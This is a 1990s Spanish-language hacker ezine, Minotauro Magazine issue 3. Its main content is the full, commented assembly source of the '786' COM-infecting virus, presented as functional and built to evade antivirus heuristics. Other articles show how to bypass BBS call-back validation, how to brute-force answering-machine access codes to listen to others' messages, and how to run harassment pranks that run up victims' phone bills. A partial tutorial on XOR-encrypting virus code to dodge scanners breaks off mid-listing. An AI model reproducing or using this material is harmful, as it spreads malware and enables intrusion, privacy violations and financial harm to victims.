Minotauro Magazine Issue nß3..

	Hi readers.. Me pregunto algo: No tienen nada mejor que hacer, a estar
leyendo estas publicaciones non-sanctas? eh?.. Bueno, si es as° son bienvenidos
a la Edici¢n nß3 de Minotauro Magazine..

	Pegandole un vistazo muy por encima a esta edici¢n, se dar†n cuenta de
que incorporamos oficialmente a Lapidario como columnista.. Oficialmente porque
antes, por motivo de un shock nervioso (producido porque consiguio laburo :-),
no tenia el tiempo suficiente requerido para ser columnista..(a la mierda..!!)

Noticias de £ltimo momento: Se ha intensificado la lucha contra los 0-0 Day
WareZ d00des.. Su jefe, super Luck Martins, (tambien conocido como Murray de
la serie de televisi¢n 'Muelle 56'), ha amenazado a nuestro amigo de Satanic
Brain BBS con destruirle el BBS... ohhh! por dios! no lo hagas... todos los
programadores del mundo te lo rogamos!! Pero Çl, con su 0-0 Day Warez, se ha
hecho una bomba para volarle todo el BBS a la mierda.. Pero como no habia ter_
minado de leer todo su manual de 0-0 Day Warez d00d, no habia llegado a la ul_
tima parte que decia:
 "Nunca probar si una 0-0 day bomb funciona en nuestra propia maquina!"
Jajaja, y el pobre se estropeo toda su maquina y quedo en 0-0 Megas Warez..
Jajaja... Y bueno, todo esto es para prevenirlos del alcance de la fiebre Warez
que, aunque no lo crean tiene mas de 2 adeptos... pobres.. por favor un minuto
de silencio por nuestros ex-hermanos.. 

	Cambiando de tema, se larga el concurso por un modem de 2400 al mejor
articulo de los lectores, el cual sera publicado en futuros numeros de la re_
vista.. Si, como lo escucharon ;) Asi que... ya saben ;)

Staff actual de Minotauro:
+ Lapidario
+ Drako
+ Wma
+ Zarathustra
+ Mortal
+ Trurl
+ Dr. Retro

===============================================================================
Indice:
 1) Virus 786 v1.01
 2) Fucking Call Back Verification
 3) Contestadores Automaticos
 4) Programaci¢n de Virus: Encripci¢n de datos
 5) Programaci¢n de Virus: Directory Stealth (FCB)
 6) FÇ de Erratas
 7) Dead to Minotauro BBS Silly Trojan Installer

===============================================================================;Fuente del 786 v1.01..
;------------------------------------------------------------------------------
;NOTA: ESTE ES UN VIRUS COMPLETAMENTE FUNCIONAL Y EN VIGENCIA EN LA CALLE.
;PUBLICADO CON EL CONSENTIMIENTO DE SU AUTOR: VIXER.
;Bueno, este es un virus sencillo, pero lo que no quita que sea efectivo.
;Este fuente es el fuente original del virus, NO un desensamblado, pero hemos
;decidido comentarlo un poco mas, cosa de que se haga la tarea un poco mas sen_
;cilla.
;Este es un virus no_residente, el cual infecta 1 archivo del directorio actual
;cada vez que se ejecuta un file infectado.. No tiene b£squeda transversal de
;archivos, por lo que su difusi¢n se limita un poco.. Su rango de infeccion se
;limita a archivos COM nada mas.. Pero tiene tambien puntos a su favor.. :-)
;En sus momentos, evadia totalmente al Thunderbyte y a otros antivirus..
;Pero bueno, tampoco esperen 'EL' virus de primera. :-) Conociendo como funcio_
;nan los virus mas sencillos, despues se hace mucho mas facil entender virus
;mas complejos.. Bueno, llendo al virus en si, trabaja de la siguiente manera :
;------------------------------------------------------------------------------
; /~~~\
;/ƒƒƒƒƒ\
;Š     Š³ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒø
;Š     ŠŠ ViRuS 786 v1.01 --> por ÝþX‰‚                               ³Ÿ
;Š     ž¥~~~~~~~^^^~~~~~~~~~~~~~~~^^^^^~                             ³Ÿ
;Š     ŠŠ                                                           ³Ÿ
;Š     ž¥Caracteristicas: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-³Ÿ
;Š     ŠŠ  -No residente                                          ³Ÿ
;Š     ž¥  -Appending                                            ³Ÿ
;Š     ŠŠ  -No reinfecta files                                  ³Ÿ
;Š     ž¥ ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ¥
;Š     ŠŠ  -Infecta al final del file                           ¿ø
;Š     ž¥  -Manda un mensaje el 31 de diciembre                  ¿ø
;Š     ŠŠ  -Virulencia: 1 en 1                                    ¿ø
;Š     ž¥  -Busca files en current path -=-=-=-=-=-=-=-=-=-=-=-=-=-¿ø
;Š     ŠŠ  -Tecnicas anti-heuristicas                               ¿ø
;Š     ž¥  ^(No lo detecta el TBAV en modo HIGH ni el F-PROT)        ¿ø
;Š     ŠŠ                                                             ¿ø
;Š     ŠŠ  /* Creado el 1 de Junio de 1994 */                          ¿ø
;Š     Š¿ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒŸ
;Š     Š
;Š     Š
;Š     Š
;Š     Š

.286c
Codigo  Segment 'code'
	org 100h
        Assume cs:Codigo, ds:Codigo, es:Codigo

Start   Proc Far

        jmp     Comienzo                ;JMP 3 bytes al virus
        db      "V"                     ;Marca de infecion
        nop
        nop                             ;Supuesto prog. infectado (host)
        mov     ax, 04c00h
        int     21h


;AQUI COMIENZA EL VIRUS EN SI--------------------------------------------------
Comienzo:                               ;Desde aqui comienza el Virus
        push    cs
        push    cs
        pop     ds
        pop     es
                                         
        call    Proc_falso              ;Llama a Proc_falso para que quede
Proc_falso      proc near               ;en el stack el reg. IP
Proc_falso      endp

        mov     di, sp                  ;Esto es equivalente a POP BP
        mov     bp, word ptr ss:[di]    ;SUB BP, OFFSET PROC_FALSO
        sub     bp, offset Proc_falso   ;Esto es una tecnica anti-heuristica
        add     sp, 02d

;Lo primero que hace al ejecutarse, es obtener su posicion en el file por medio
;del calculo del offset ·. Una vez que sabe donde esta parado el virus, hace
;referencia a sus propias variables de forma relativa a bp..
;------------------------------------------------------------------------------

        mov     cx, 43d                 ;Salva DTA original
        lea     di, bp + DTA_orig
        mov     si, 0080h
        rep     movsb

;Lo que hace el virus en este momento, es salvar el DTA del programa infectado.
;Esto lo hacemos porque al buscar un file cualquiera para infectar con la fun_
;ci¢n 4eh (Buscar la primera entrada) ¢ 4fh (Buscar la pr¢xima entrada), se nos
;destruyen los datos que teniamos en el DTA original y se nos actualiza con los
;datos del archivo encontrado por medio de estas funciones. Esos datos son uti_
;lizados por el programa anfitri¢n, osea que al ser sobreescritos con los datos
;del file nuevo, el programa hace cualquiera.. Generalmente no se cuelga la ma_
;quina ni nada de eso, pero el programa saca datos de ahi como parametros y bo_
;ludeces asi, osea que el programa sale al DOS con error..
;------------------------------------------------------------------------------
        jmp     Check_PlayLoad          ;Claro que no ejecuta los datos
	;-------------------------------------------------------------
DTA_orig        db 43d dup (0)          ;Espacio para el DTA
Jump            db 0e9h                 ;JUMP
Firma           db "V"                  ;Firma del Virus
Longitud        db 2 dup (0)
Bytes_Orig      db 090h, 090h, 090h, 090h  ;Originales del prog. infectado
File_busc       db "*.C?M", 0
                ;Busca *.C?M y no *.COM. Es otra tecnica anti-heuristica

Mensaje db 0ah,0dh
        db "Este es el virus 786 Version 1 ", 0ah, 0dh          ;Mensaje
        db "Echo por --> Ýþx‰‚ [Ýx‚]/A.H.D. HALKA/. Industria Argentina", 0ah, 0dh
        db "Quemen al mu§eco del `94!", 0ah, 0dh

        db  "$  OHH NO, ME HA DESCUBIERTO!!!", 0ah, 0dh   ;String
;------------------------------------------------------------------------------

Check_PlayLoad:
        mov     ah, 02ah                ;Chequea si es diciembre
        int     021h

        cmp     dh, 12d
        jne     No_Playload

        cmp     dl, 31                  ;Chequea si es 31
        jne     No_Playload

;Aca se verifica si el mes de ejecuci¢n del file es Diciembre.. Esto se hace
;pidiendole la fecha al sistema con el servicio 2ah de la int 21h... Este ser_
;vicio nos devuelve el mes actual en DH, osea que lo comparo con el mes 12 (Di_
;ciembre :-).. si es el mes correcto, me fijo si es fin de a§o (31 de Dic.),
;comparando DL con 31.. Donde DL contiene el dia actual.. En caso de que sea
;la fecha deseada, se ejecuta el playload, ¢ carga ¢ 'detonaci¢n' del virus.
;Como el 786 v1.01 es un virus benÇvolo, solo mostrara un mensaje y no dejara
;que se siga ejecutando el file infectado saliendo al DOS..
;En caso de que NO sea la fecha deseada, se salta a la etiqueta NO_PLAYLOAD,
;en donde se intenta infectar otro archivo..
;------------------------------------------------------------------------------
        mov     ax, 0900h               ;Es 31 de diciembre, mostrar mensaje!
        lea     dx, bp + Mensaje
        int     021h

        mov     ax, 04c00h              ;Y no ejecuta el prog. infectado
        int     021h

No_Playload:
        cld                             ;Restaura los 4 primeros bytes del prog
        mov     cx, 4d                  ;infectado
        mov     di, 0100h
        lea     si, bp + Bytes_Orig
        rep     movsb

;Con este c¢digo estoy restituyendo los primeros bytes del programa original,
;los que son sobreescritos con el objeto de darle el control a nuestro virus..
;Nosotros al infectar un file, y para que una vez que se ejecute el file, que
;nuestro virus sea el que PRIMERO tome el control, sobreescribimos los primeros
;bytes del programa con un 'ÈXX' donde el È es el ASCII del jump, y XX la di_
;reccion del salto... justamente la direccion de nuestro virus.. Bueno, todo
;esto perfecto, pero cuando le queremos devolver el control al programa origi_
;nal, con que nos encontramos ? Que hubiera estado piola guardar los primeros
;bytes del codigo original ;). Asi cuando le querramos dar el control, lo unico
;que necesitariamos es reemplazar los primeros bytes 'truchos' por los buenos,
;y saltar al offset 100h (De donde se carga todo el c¢digo ejecutable de TODOS
;los COM).
;------------------------------------------------------------------------------

Buscar_File:
        mov     ax, 04e00h              ;Busca primer file del directorio
        mov     cx, 0
        lea     dx, File_busc + bp
        int     021h
        jnb     Hay_files               ;Salta si hay *.C?M

;Bueno, entonces busco el primer COM del directorio.. Si encuentro algun file
;joya, salto a HAY_FILES y me fijo si esta infectado.. Si no hay ningun file, 
;le devuelvo el control al COM sin infectar nada y listo... mala leche :( ;)
;------------------------------------------------------------------------------

Retornar:                               ;No hay *.C?M
        mov     cx, 43d                 ;Restaura el DTA original
        lea     si, bp + DTA_orig
        mov     di, 0080h
        rep     movsb

        push    0100h                   ;Ejecuta el prog. infectado
        pop     ax                      ;Esto es igual que JMP 0100h
        jmp     ax                      ;Es una tecnica anti-heuristica

;Bueno, aca esta lo que decia antes sobre el DTA... Antes de ejecutar el file
;lo dejo como estaba ANTES de buscar los COM.. Y listo... ahora hago el salto
;al offset 100h, y ya esta... le di el control al COM anfitrion ;)
;------------------------------------------------------------------------------

Hay_files:
        mov     ax, 03d02h
        mov     dx, 0009eh              ;Abre el file encontrado
	int	021h
        push    ax
        pop     bx
        push    bx
        mov     ax, 03f00h              ;Lee los 4 bytes primeros
        mov     cx, 0004h
        lea     dx, Bytes_Orig + bp     ;Y los guarda en Bytes_Orig
        int     021h

        mov     cl, byte ptr cs:[bytes_orig + bp+3] ;Verifica si esta infectado
        cmp     cl, Firma + bp
        jne     Infectar

;Con este codigo verifico si el file recien encontrado YA estaba infectado.. 
;Lo que hago es abrir el file, comparar el 4to byte con 'Ý' y si coinciden es
;porque el archivo estaba infectado.. No es conveniente chequear con UN solo
;byte, ya que corremos el riesgo de que el file NO estubiese infectado, pero
;por una de esas casualidades, tenga en su 4to byte un 'Ý'.. Entonces el virus
;cree que ya estaba infectado y no lo infecta..
;Si la comparacion NO da Cero, osea que NO era 'Ý', se prepara para infectar el
;file.. (salta a INFECTAR)... sinom osea que ESTABA infectado, sigue buscando
;otro file... pero antes cierra el file que habia abierto..
;------------------------------------------------------------------------------

Proximo_File:
        pop     bx                      ;Esta infectado. Busca otro
        mov     ah, 03eh
        int     021h                    ;Cierra el file anterior

        mov     ah, 04fh
        int     021h
        jb      Retornar                ;Si salta no hay mas files
        jmp     Hay_files

;Aca busca otro file.. si salta por el JB (jump below), es que no habia mas COM
;en el directorio y no busca mas.. sino, es que encontr¢ otro file y vuelve a
;verificar si ya estaba infectado.. (JMP HAY_FILES)
;------------------------------------------------------------------------------

Infectar:                               ;Infecta el file!
        pop     bx
        push    bx
        mov     ax, 04200h              ;Mueve el puntero de lecto/escritura
                                        ;(LSEEK) al principio del prog.
        mov     cx, 0
        mov     dx, 0
        int     021h

        pop     bx                      ;Escrive el jmp para el Virus
        push    bx
        mov     ah, 040h
        mov     cx, 1
        lea     dx, Jump + bp
        int     021h

        mov     cx, 2                   ;Calcula el jmp para el virus
        mov     si, 009ah               ;(longitud del prog. + 1)
        lea     di, bp + Longitud
        rep     movsb
        add     Longitud + bp,1

        pop     bx                      ;Graba el resultado del
        push    bx                      ;calculo anterior
        mov     ah, 040h
        mov     cx, 2
        lea     dx, Longitud + bp
        int     021h

        pop     bx                      ;Escribe la marca de infeccion
        push    bx
        mov     ah, 040h
        mov     cx, 1
        lea     dx, bp + Firma
        int     021h

        pop     bx
        push    bx
        mov     ax, 04202h              ;Mueve el puntero de lecto/escritura
                                        ;(LSEEK) al final del prog.
        mov     cx, 0
        mov     dx, 0
        int     021h

        mov     cx, 43d                 ;Restaura el DTA original
        lea     si, bp + DTA_orig
        mov     di, 0080h
        rep     movsb

        mov     cx,43d                  ;Borra la variable DTA_orig
        lea     bx, DTA_orig + bp       ;Esto sirve para no crear
DTA_clr:                                ;falsas alarmas en los anti-virus
        mov     byte ptr [bx],0         ;heuristicos
        inc     bx
        loop    DTA_clr

        pop     bx                      ;Escrive el virus en el file
        push    bx
        mov     ah, 040h
        mov     cx, 1000d               ;El virus mide 512d bytes. Pero
        lea     dx, bp + Comienzo       ;le graba 1000d porque es menos
        int     021h                    ;notorio 

        pop     bx                      ;Ya infecto el prog!
        mov     ah, 03eh                ;Ahora lo cierra
        int     021h

        push    0100h                   ;Ejecuta el prog. host
        pop     ax                      ;Esto es igual a JMP 0100h
        jmp     ax                      ;Es una tecnica anti-heuristica


start endp
codigo ends
end start

;---> Este Ýþ‚u$ NO es Number_of_the_beast! <---

;ACLR: El TBAV y el F-PROT no lo detectan con busqueda heuristica, pero
;      si puede ser detectado con strings de busqueda.
;ACLR2:Si les interesa el fuente ORIGINAL del virus, se encuentra disponible
;      en cualquiera de los BBS que figuran en la lista..
;------------------------------------------------------------------------------Fucking Call Back Verification...
-------------------------------------------------------------------------------
	Bueno, este tema es bastante sencillo.. Antes que nada expliquemos lo
que es el Call Back Verification y como es que funciona.. Bueno, el Call Back
es un modo de validaci¢n autom†tica.. el motivo de esto es la supuesta despreo_
cupaci¢n del operador del sistema o mas conocido como SysOp :-) para con el te_
ma de las validaciones.. El SysOp bal°n se consigue uno de estos, y listo..
(piensa Çl :-). La forma tradicional de validaci¢n es la siguiente:

+ Llamamos a un BBS, nos atiende un modem (por uno de esos pedos, vio ?), en_
tonces nos pide nuestro nombre o handle, n£mero de telefono y otros datos par_
ticulares.. Entonces una vez que cortamos, (generalmente dentro las primeras
48hs de la llamada, nos llama el operador para verificar los datos que ingresa_
mos antes).

	De esta manera ser°a dificil obtener cuentas truchas en alg£n bbs, de_
bido a que el operador esta justamente verificando la autenticidad de la cuen_
ta. A menos que consigamos alguien pata, o alg£n n£mero que piensen que pueda
andar, es bastante jodido. (A menos que hagan pesar su simpat°a :-), entonces
ah° no la consiguen ni en un bbs pirata, ;-)) . La otra manera de validaci¢n,
es la llamada Call Back:

+ Llamamos al bbs y toda esa mierda que dije antes :-). Pero en este caso, en
la validaci¢n NO interviene el operador, sino que se hace en forma autom†tica.
Claro, una vez que cortamos, al toque el mismo bbs se encarga de llamarnos y de
verificar los datos.. Osea: El operador no se entera de lo que pasa.. buen pun_
to. Cuando recibimos la llamada, nos pide que ingresemos el password que habia_
mos puesto en el bbs.. si es correcto, ya estamos validados, sino anotados en
una lista o directamente lockeados. Eso depende del sistema.

	Ahora que ya conocen que es y como funciona el mÇtodo, pensemos en como
cagarlo.. Hmmmm.. (Genio trabajando) Ya est†! :-)
Piensen algo.. Que pasa cuando llamamos a alguien, pero Çste individuo corta ?
Cuando quiere usar el telÇfono de nuevo, tiene que esperar que se nos cante las
bolas cortar, porque al originar la llamada, somo NOSOTROS los que tenemos el
control de la linea. Bueno, con esto pasa lo mismo:

+ Estamos conectados al bbs, y queremos cortar y que nos llame para validarnos,
pero como ya estamos conectados, porque desaprovechar esa oportunidad ? eh ?
Entonces esta bien, cortamos, pero de mentiritas :-) Salimos del bbs por la op_
ci¢n de Goodbye o lo que sea, cosa de que corten ELLOS primero. Una vez que
cortamos por el bbs, deber°amos levantar el tubo y mantener la comunicaci¢n a
manopla, porque el modem detecta el CARRIER DROP, osea la cortada del otro lado
y corta la comunicaci¢n desde aca tambiÇn.. Por eso dejamos que el est£pido
corte, pero nosotros levantamos el tubo. Para este momento, la comunicaci¢n en_
tre el bbs y nosotros se cag¢, pero la linea sigue viva.
	Ahora bien, entonces lo £nico que hace falta es esperar que el bbs dis_
que el n£mero que hab°amos declarado, y cojer (en el buen sentido de la pala_
bra) la comunicaci¢n con el bbs de nuevo.. Pero ete aqu° otro problema, que el
bbs hasta que no encuentra tono en su linea, no disca.. Hmmmmmmmm...... y eso
como se podr† solucionar ? alguna idea ? -Aca profesor! -Si.. alumno Drako ?

Drako : -Y si le mandamos un tono de linea grabado ?
Profesor : -Excelente alumno!

Bueno, ya con la idea aportada por mu†, tenemos este tema solucionado:
Osea que el bbs empieza a discar (al pedo evidentemente) y se encuentra al fi_
nal de la linea con nosotros, impacientes, y esperando esa pseudo_llamada con
un jugoso CARRIER, producible con el comando Hayes "ATA".

	Hasta aca todo bien, pero varios bbs que tienen este sistema poseen
varias lineas telef¢nicas.. con lo cual la cosa se complica. Por quÇ ? Y bue;
medio obvio.. porque ya la linea que utilizaba el bbs para comunicarse con no_
sotros no es la misma con la que estamos comunicados. Generalmente los bbs con
varias lineas tienen los n£meros seguidos o por lo menos cerca.. Es posible que
una de esas l°neas la dedique exclusivamente a esto. Ser† cuesti¢n de encontrar
ese n£mero scanneando por la cercan°a del n£mero este, y una vez conectados,
lo mismo.

	Con este mÇtodo podemos validar una cuenta (sin que el sysop se entere,
obviamente :-) en alg£n que otro bbs con validaci¢n por Call Back. Espero que
lo puedan aprovechar:	Drako
Contestadores Automaticos.. joda ;)
-------------------------------------------------------------------------------

 Bueno, en el art°culo anterior se hablo sobre algunas formas de phreaking,
 especialmente la utilizaci¢n del BlueBox en la Argentina, para los que que-
 r°an empezar con esto o para los que hacian algo de BlueBox pero no tenian
 idea que era lo que hacian.

 Esta vez quiero hablar sobre algo bastante b†sico, como para poder empezar
 a hacer algunas pruebas, con esto no vamos a obtener beneficios como poder
 hacer llamadas gratis pero es una buena forma de empezar a practicar con c¢-
 digos de acceso y tambiÇn podemos divertinos bastante. Con esto me refiero
 a los CONTESTADORES AUTOMATICOS.

 Un gran porcentaje de personas poseen contestadores autom†ticos en sus casas
 (yo los odio), en los algunos modelos se tiene la posibilidad de acceder a los
 mensajes grabados, y otras opciones por medio de tonos (DTMF) en forma remota,
 o sea llamando desde otro telÇfono y usar el teclado del telÇfono para ver el
 estado de nuestro contestador.
 Porque no llamar al contestador de nuestro vecino que tanto odiamos y escuchar
 los mensajes que le dejaron?.
 Es una buena diversi¢n, aparte es algo como para empezar con el Phreaking, y
 a familiarizarse con los codigos de acceso, ya que si pretendemos acceder a
 algun PBX generalmente tenemos que poner un c¢digo de acceso.
 Obviamente para acceder a estas funciones tenemos que ingresar un c¢digo de
 acceso a travez de tonos, estos c¢digos pueden variar entre 2 y 5 digitos,
 cuanto mayor cantidad de funciones tenga el contestador mas digitos tendra
 el c¢digo de acceso.

 Pero cual es una de las marcas de contestadores mas difundida?
 - PANASONIC -

 La mayoria de la gente tiene los modelos de Panasonic que solo utilizan codi-
 gos de 2 digitos, f†cil de buscar el c¢digo solo va de 0-99 (100 c¢digos)
 Para hacerlo aun m†s f†cil, con enviar la siguiente combinaci¢n ya hemos
 enviado todos los c¢digos:

 01122334455667788991357902468036925814715937049483827261605172959628408529
 639974197531864209876543210

 Pero si consideramos que generalmente los modelos Panasonic no usan digitos
 del 0 al 9, solo algunos, solo deberiamos enviar una combinaci¢n como la si-
 guiente o algo parecida:

 33556636653

 Una vez que ingresamos el c¢digo correcto, el contestador nos va a tirar una
 seria de BEEPs y se queda esperando que le mandemos un comando, que para los
 modelos panasonic mas convencionales son:

 1 - Retrocede un mensaje
 2 - Avanza al proximo mensaje
 3 - RESET
 5 - PLAY
 6 - Room monitoring
 7 - Record receive message
 9 - End receive message
 0 - Discontect answering machine
 * - Skip Message

 Funci¢n *: Nos permite pasar por alto el mensaje de recepci¢n, y empezar a
 grabar el mensaje o enviar el c¢digo al contestador.

 Funci¢n 1: Retrocede al mensaje anterior y lo reproduce

 Funci¢n 2: Avanza al pr¢ximo mensaje que hay grabado.

 Funci¢n 3: Resetea el contestador, vuelve al mensaje 0 y cuando dejemos uno
 sobreescribe los mensajes grabados, etc.

 Funci¢n 5: Reproduce los mensajes que hay grabados en el contestador autom†-
 tico.

 Funci¢n 6: Nos permite escuchar lo que esta sucediendo a donde llamamos, ya
 que el constestador habilita el microfono que tiene incorporado, esta funci¢n
 no sirve de mucho, solo para saber si hay alguien hablando en la casa o alg£n
 otra boludez.

 Funci¢n 7: Esta es una de las mas interesantes, nos permite grabar el mensaje
 que se envia al recibir una llamada. Aca tenemos varias cosas para hacer, una
 es grabarle cualquier mierda, otra es llamar a un lugar donde mandan Putas a
 domicilio y pedirle que manden a una puta a la casa de algun 'AMIGO' y decirle
 que llamen al n£mero del contestador. En el contestador debemos grabar algo
 asi como:

  -  Si si, yo hice la llamada o alguna cosa por el estilo.
 Esto para que resulte hay que llegar a hacerlo muy bien, calcular bien los
 tiempos y por ahi resulta.

  Otra cosa para hacer es, si tenemos a alg£n amigo que viva en otro pa°s es
 arreglar para que haga una llamada con cobro revert°do (v°a operadora) a ese
 n£mero y dejar grabado:

 - Hola? <PAUSA> SI, si acepto la llamada.
 - Hello? <PAUSA> Yes I accept the Call.

  Esto es para alguien que odiemos, porque si lo hacemos unas cuantas veces, el
 pobre chabon se va a tener un "poquito" de recargo en la boleta de telÇfono.

 Funci¢n 8: Esta funci¢n se usa despues de la 7, con esto le indicamos al con-
 testador que hemos terminado de grabar el mensaje de recepci¢n.

 Funci¢n 0: Desconecta el Contestador autom†tico, pero no es una desconecci¢n
 total, ya que si llamamos y dejamos sonar 15 veces el contestador se vuelve
 a encender automaticamente.

 ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ Otras marcas de contestadores ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ
 Estas funci¢nes son para algunos modelos de contestadores AT&T y por ahi
 tambiÇn funcionan con alg£n otra marca:

 1 Retroceder
 2 Repetir
 3 Avance
 4 Grabar mensaje de recepci¢n (De nuevo para terminar de grabar)
 5 Stop
 6 Grabar Mensajes
 8 Play >
 9 Desconecta el contestador
 0 Anuncio de la fecha y la hora
 ƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒ

  Si el contestador tiene mas de 2 digitos en el c¢digo, ya se complica un poco
 mas, pero hay que tener en cuenta que muy poca gente utiliza los contestadores
 en forma remota, mas de uno no sabe que es eso, asi que ninguno se calienta en
 cambiarle el c¢digo (en alg£nos no se puede cambiar), asi que siempre hay que
 probar con los que vienen por default:
 1111,0000,1234,9999 y c¢digos asi.

 Algunos de los contestadores mas nuevos tienen una funci¢n muy interesante,
 que es la de programar al contestador para que cada vez que nos dejan un men-
 saje nos llame a un n£mero y nos lo pase, si podemos acceder a uno de estos
 contestadores, que tienen 4 o 5 n£meros de c¢digo, podr°amos programarlo para
 que llame a alg£n n£mero Internacional, y asi entrar a dejarle mensajes, y es
 mejor si le podemos llegar a ver la cara al tipo cuando recibe la boleta a fin
 del bimestre :)

 Espero que con esto se diviertan bastante, y se pongan en practica para sacar
 c¢digos.!

                                                    Dr.Retro
Encripci¢n, parte 1...
-------------------------------------------------------------------------------
Algunas definiciones
--------------------
Criptografia: del griego          graphe----->accion de escribir
              y de                kruptos---->oculto  

 Arte de escribir con clave secreta o de modo enigmatico.

Que es encriptar.
-----------------
Encriptar ( en nuestro metie ) consiste en codificar o cambiar un codigo
perfectamente legible por otro que a primera instancia no lo sea.

Para que encriptamos un codigo.
-------------------------------

a)Para que no sea legible el codigo a simple vista al hacer un desensamblado.
b)Para que algunos antivirus heuristicos no nos jodan.
c)Para que en cada encriptacion si es posible sea distinta , de tal manera que
  en cada reproduccion el codigo sea distinto y no se encuentre una cadena
  fija permanente que pueda ser usada por los scaner.(Realizar esto implicaria
  una mezcla de encriptacion con mutacion-)
d)En definitiva para camuflear el codigo.
e)Para lo que se les ocurra.

Formato general de un programa que use encriptamiento.
------------------------------------------------------

startprog:         CALL desencripar
;******************************************************************
;parte del codigo que queremos encriptar

mark:               ...
                    ...
endmark:            ...

;******************************************************************
;rutina de desencriptacion

desencriptar proc
                   ...
                   ...
                   ...
desencriptar endp

                    
De el bosquejo anterior usted puede empezar a razonar lo siguiente..

a)La cabezera o sea ------>call desencriptar , permanecera inmutable por
 mas que la rutina de encriptacion en cada reproduccion codifique de forma
 diferente la porcion de codigo comprendida entre las etiquetas mark y
 endmark.

b)La rutina de desencriptacion nunca sera encriptada y por lo tanto le cabe
 las mismas consideraciones expuestas en a).
 Dado que la longitud de esta rutina es larga , mas facil es encontrar una
 cadena que se pueda usar para identificar al virus.
 
c)De lo anterior se deduce que la rutina de desencriptacion debe ser de la
  menor longitud posible , o mejor distinta en cada reproduccion.

d)La rutina de encriptacion , esta encriptada---->Redundancia??
 

Como se encripta.
-----------------
El virus se debe encriptar justamente antes de reproducirce.
Las rutinas de encriptacion basicas generalmente operan sobre los bytes del
codigo realizando operaciones logicas o aritmeticas sobre estos.

Utilizando xor.
~~~~~~~~~~~~~~~
  
La intrucion xor destino,fuente realiza un or exclusivo entre destino y fuente
y el resultado queda en destino.

destino    xor    fuente         destino
  0                 0              0
  0                 1              1
  1                 0              1
  1                 1              1

Lo divertido de la intruccion xor es que si realizamos dos veces la instruccion
xor con el mismo valor obtenemos el dato original.

EJEMPLO.
~~~~~~~    mov cl,55h
           mov bl,0aah----------->registro bl=AA en hexa.
           xor bl,cl ------------> bl xor cl ---->bl=FF en hexa.

           xor bl,cl-------------> bl xor cl ---->bl=AA en hexa.

Esto es ideal para encriptar ya que la rutina de encriptacion y la de
desencriptacion sera identica.

A modo de ejemplo utilizaremos un programa .com  que cada vez que se ejecuta se
sobrescribe sobre si mismo encriptandoce.
 
Paso a Paso.
------------
1) Programa sin encriptacion.
;________________________cortar aqui_________________________________
;compilarlo con nombre prueba1.com

code segment
              org 0100h
              assume cs:code,ds:code
programa      proc far
uno:
              lea dx, saludo
              mov ah,09h
              int 21h                    ;imprime Minotauro
        
              mov ax,3d02h               ;habre el file prueba1.com
              lea dx,file                ;modo lectura escritura
              int 21h                    ;debuelve file handle en ax
              mov (handle), ax

              mov bx, (handle)
              lea cx,dos                 ;calcula y guarda en cx la
              lea ax,uno                 ;longitud en bytes de este programa
              sub cx,ax
            
              lea dx,uno                 ;buffer comienza en ds:uno 
            
              mov ax,4000h
              int 21h                    ;se sobreescribe este programa
            
              mov ax,3e00h               ;cierra el file prueba1.com
              int 21h

              mov ah,4ch                 ;vuelve al dos
              int 21h

saludo   db  "Minotauro$"
file     db  "prueba1.com",0
handle   dw  1 dup (?)   
dos:
programa endp
code ends
end           programa
;__________________________cortar aqui____________________________________

Bien si usted a ejecutado el programa anterio vera que funciona correctamente.
Pero ahora suponga que el programa anterior sea un codigo de un virus
infector de .com no residente.
Entonces seria facil para el anti extraer una firma ($%#@&*@-%##-->dedicado
al anti),consistente en un string de bytes lo suficientemente extenso para
ser utilizado por un scaner ya que el codigo permanece igual en cada corrida.
Para evitar este inconveniente encriptaremos el programa anterior utilizando
xor.
 

2) Encriptado con xor.

 Los pasos en el programa serian los siguientes:

 a)Desencriptar con la llave existente
 b)Se ejecuta el programa desencriptado
 c)Generar una nueva llave
 d)Encriptar y sobreescribirse
 e)Devolver el control.
 
La rutina de encriptacion y desencriptacion.
--------------------------------------------
nombre:encrEsta rutina es la encargada de encriptar y desencriptar , por lo tanto
sera casi la unica parte que quedara siempre sin encriptar.
Basicamente trabajara encriptando o desencriptando el codigo comprendido
entre las etiquetas mark y endmark.
Realizara una xor exclusive con una llave que se guarda en xorkey ,
la cual es una variable tipo word.
Prefiero hacer xor con word en vez de bytes debido a con el primero
tendremos 65535 codificaciones del codigo distinto , contra 255 si usamos
bytes.
( Esto no es tan asi por el metodo con que se genera la llave)
De ordinario la primera vez debera realizar un xor con llave igual a cero.
Luego el programa genera una nueva llave , utilizando el servicio int 21,2c
lectura de tiempo y fecha del dos.
Esta nueva llave es guardada en la variable xorkey y se utilizara en el
momento de encriptacion.
De mas esta decir que la variable xorkey no es encriptada.

UNA COSA MAS.
-------------

Debido  a que pretendemos codificar lo maximo posible el codigo ,
la parte de copiado y devolucion del control al dos (o al anfitrion si estamos
realizando un virus ) es copiada en memoria al final del virus ,esto
debido a que si no hariamos esto esta parte tambien tendria que quedar sin
codificar.
Esto es la porcion de codigo comprendido entre l1 y l2.


;___________________________cortar aqui____________________________________
;compilarlo con nombre prueba2.com

code segment
              org 0100h
              assume cs:code,ds:code
programa      proc far
uno:
;*****************************************************************************
;Esta parte en este programa no haria falta , esto es para allar el delta offset
;para direccionar atravez de bp pues en un virus infector de com si este
;se anexa al final las etiquetas quedarian mal direccionadas.

              CALL falso
falso proc
falso endp
              pop bp
